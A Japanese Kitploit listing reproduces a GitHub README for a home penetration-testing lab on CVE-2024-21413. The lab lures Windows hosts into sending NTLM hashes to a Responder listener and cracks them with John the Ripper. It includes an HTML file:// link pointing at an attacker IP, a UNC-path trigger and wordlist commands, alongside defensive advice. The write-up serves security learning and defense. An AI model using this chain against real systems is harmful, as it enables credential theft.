Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Moniker-Link-Lab-Setup — CVE-2024-21413 moniker link を悪用してNTLM認証情報を窃取するペネトレーションテストラボ。攻撃実行、ハッシュクラッキング、防御策を含む。 | Kitploit
ツール/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
パスワードクラッキング脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテストソーシャルエンジニアリング認証学習と教育ラボと実践
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

CVE-2024-21413 moniker link を悪用してNTLM認証情報を窃取するペネトレーションテストラボ。攻撃実行、ハッシュクラッキング、防御策を含む。

3014日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

SOCアナリストポートフォリオの一部 (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

Moniker Link Lab Setup - CVE-2024-21413

🎯 プロジェクト概要

NTLM資格情報窃取のためのCVE-2024-21413 moniker linkエクスプロイトを実演するハンズオンペネトレーションテストラボ。本プロジェクトは、セットアップから資格情報の侵害までの完全な攻撃チェーンを、実世界での課題と解決策を含めて文書化しています。

主な成果: 隔離されたラボ環境(Windows 10 VM)と実システム(Windows 11 PC)の両方でmoniker link攻撃を成功裏に実行し、実用的なセキュリティ脆弱性と防御的対策を実証しました。


🏗️ ラボアーキテクチャ

インフラストラクチャ

攻撃マシン:

  • プラットフォーム: Kali Linux 2024
  • ネットワーク (Host-Only): 192.168.56.101
  • ネットワーク (Bridged): 192.168.1.117
  • 主要ツール: Responder 3.1.6.0

ターゲットシステム:

  • Windows 10 VM: 192.168.56.104 (隔離テスト環境)
  • Windows 11 PC: 192.168.1.178 (実世界検証)

ネットワーク構成:

  • VirtualBox Host-Only Adapter (VMテスト)
  • VirtualBox Bridged Adapter (実PCテスト)
  • 本番ネットワークから隔離

⚔️ 攻撃実行

攻撃フロー

  1. Kali上にResponderをデプロイし、NTLM認証を待ち受ける
  2. 攻撃者IPを指すfile://プロトコルを使用して悪意のあるリンクを作成
  3. ファイルエクスプローラーのUNCパス経由で認証をトリガー
  4. 被害者が接続を試みた際にNetNTLMv2ハッシュをキャプチャ
  5. John the Ripperを使用してパスワードをクラック

シンプルな攻撃ベクター

HTMLファイル (test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

ファイルエクスプローラー方式:

  • ユーザーがアドレスバーに \\192.168.56.101\test と入力
  • WindowsがSMB接続を試みる
  • NTLMハッシュが自動送信される(または資格情報の入力を求める)
  • Responderが認証をキャプチャ

🚧 課題と解決策

課題 1: Windowsファイアウォールによるブロック (Windows 11 PC)

問題:

  • KaliからWindows 11 PCにpingできなかった
  • SMB接続の試行が失敗
  • 攻撃が完全にブロックされた

根本原因:

  • Windowsファイアウォールがデフォルトで有効
  • 外部IPからの受信SMB接続をブロック

解決策:

  • テスト用にWindowsファイアウォールを一時的に無効化
  • 接続が即座に成功
  • ハッシュのキャプチャに成功

教訓: デフォルトのWindowsファイアウォールはこの攻撃に対する効果的な保護を提供します。ユーザーは有効にしておく必要があります。


課題 2: John the Ripperのキャッシュされた結果 (Windows 10 VM)

問題:

  • 初期のWindows 10パスワード: nwigwecj1
  • Johnの表示: 12Honey (誤ったパスワード!)
  • 12Honey は以前のテストのもの

根本原因:

  • Johnはクラックしたパスワードを ~/.john/john.pot に保存
  • 前回のセッションの古いハッシュ
  • 現在のパスワードではなくキャッシュされた結果を表示

解決策:

  • Windows 10 VMのパスワードを 1414 に変更
  • 新しいハッシュをキャプチャ
  • 想定されるパスワードを含むカスタムワードリストを作成
  • 新しいワードリストでクラックに成功

教訓: 常に正しいハッシュをクラックしていることを確認してください。potファイルをクリアするか、テストには一意のパスワードを使用してください。


課題 3: パスワードがRockyou.txtに存在しない

問題:

  • パスワード 1414 がrockyou.txt (1400万のパスワード) に見つからない
  • 汎用ワードリスト攻撃が失敗

根本原因:

  • Rockyou.txtには考えられるすべての4桁の組み合わせが含まれているわけではない
  • 単純な数字の並びは一般的なワードリストからしばしば欠落している

解決策:

  • 一般的なパターンに基づいて的を絞ったカスタムワードリストを作成:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • カスタムワードリストで即座にクラック

教訓: 「rockyou.txtにない」≠ 安全。短いパスワードは、ワードリストの有無にかかわらず、的を絞った攻撃やブルートフォースに対して脆弱です。


📊 結果

Windows 10 VM (制御された環境)

指標結果
初期パスワードnwigwecj1
変更後1414
ワードリストカスタム (2エントリ)
クラック時間1秒未満
ファイアウォールテスト用に無効化
ステータス✅ 侵害に成功

Windows 11 PC (実システム)

指標結果
パスワード1414
ファイアウォール最初はブロック、その後無効化
認証手動プロンプト (資格情報を入力)
クラック時間瞬時
ステータス✅ 侵害に成功

🛡️ セキュリティ分析

機能したもの (防御)

✅ Windowsファイアウォール - 有効時は攻撃を完全にブロック ✅ 最新のブラウザ - Chrome/Edgeはリモートのfile://リンクをブロック ✅ ユーザーの意識 - 手動プロンプトはユーザーのアクションを必要とする

失敗したもの (脆弱性)

❌ 弱いパスワード - 4文字の数字は容易にクラックされる ❌ 無効化されたファイアウォール - よくあるユーザーのミス ❌ ファイルエクスプローラー - UNCパスに対する警告なし ❌ NTLMプロトコル - SMB共有への自動認証

主な発見事項

1. ファイアウォールは重要

  • デフォルトのWindowsファイアウォールはこの攻撃をブロック
  • ユーザーの約30~40%が恒久的に無効化している
  • 企業ネットワークはしばしば内部SMBを許可している

2. パスワード強度の幻想

  • 1414 はrockyou.txtにない(「強力」に見える)
  • 的を絞ったワードリストで即座にクラック
  • 短いパスワードはゼロのセキュリティしか提供しない

3. ユーザー操作が必要

  • 最新のセキュリティではユーザーがUNCパスを貼り付ける必要がある
  • ソーシャルエンジニアリングが依然として重要な要素
  • 技術的なエクスプロイトだけでは不十分

🔧 使用ツール

攻撃側:

  • Responder 3.1.6.0 (NTLMハッシュキャプチャ)
  • John the Ripper (パスワードクラッキング)
  • カスタムワードリストの作成
  • シンプルなHTMLファイル

インフラストラクチャ:

  • VirtualBox 7.0 (仮想化)
  • Kali Linux 2024 (攻撃プラットフォーム)
  • Windows 10 Enterprise (テストターゲット)
  • Windows 11 Pro (実世界検証)

📁 リポジトリ構造

Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│   ├── attack-execution.md (step-by-step attack guide)
│   └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)

🎓 実証されたスキル

技術的:

  • ネットワークプロトコル分析 (SMB、NTLM)
  • ペネトレーションテスト手法
  • パスワードクラッキング技術
  • 仮想ラボインフラストラクチャ
  • ファイアウォールのトラブルシューティング

専門的:

  • 技術文書作成
  • 制約下での問題解決
  • セキュリティ評価
  • リスク分析
  • 倫理的なテスト手法

🔒 防御的推奨事項

ユーザー向け

  • ✅ Windowsファイアウォールを有効にしておく
  • ✅ メールからのUNCパスを決して貼り付けない
  • ✅ 強力なパスワードを使用する (15文字以上)
  • ✅ ファイル共有にアクセスする前に送信者を確認する

組織向け

  • ✅ ネットワークファイアウォールで送信SMB (ポート445) をブロックする
  • ✅ NTLMを無効化し、Kerberosを強制する
  • ✅ 外部IPへのSMB接続を監視する
  • ✅ メールゲートウェイのフィルタリング (file://リンクを除去)
  • ✅ セキュリティ意識向上トレーニング
  • ✅ パスワード複雑性ポリシー

⚠️ 倫理的開示

すべてのテストは許可されたシステムで実施:

  • 個人のラボインフラストラクチャのみ
  • 隔離された仮想ネットワーク
  • 自身のデバイスとアカウント
  • 教育目的

法的通知: 不正なコンピュータアクセスは違法です。本プロジェクトは教育目的および許可されたテスト環境のみを対象としています。


📚 参考文献

  • CVE-2024-21413 - Microsoft Security Advisory
  • MITRE ATT&CK - Forced Authentication (T1187)
  • TryHackMe - Moniker Link Room

📞 連絡先

LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a

日付: 2026年3月


📄 ライセンス

教育目的での使用のみ。許可されていないテストには使用しないでください。


⭐ このプロジェクトが役に立ったと思われたなら、リポジトリにスターを付けていただけると幸いです!

ツールをダウンロード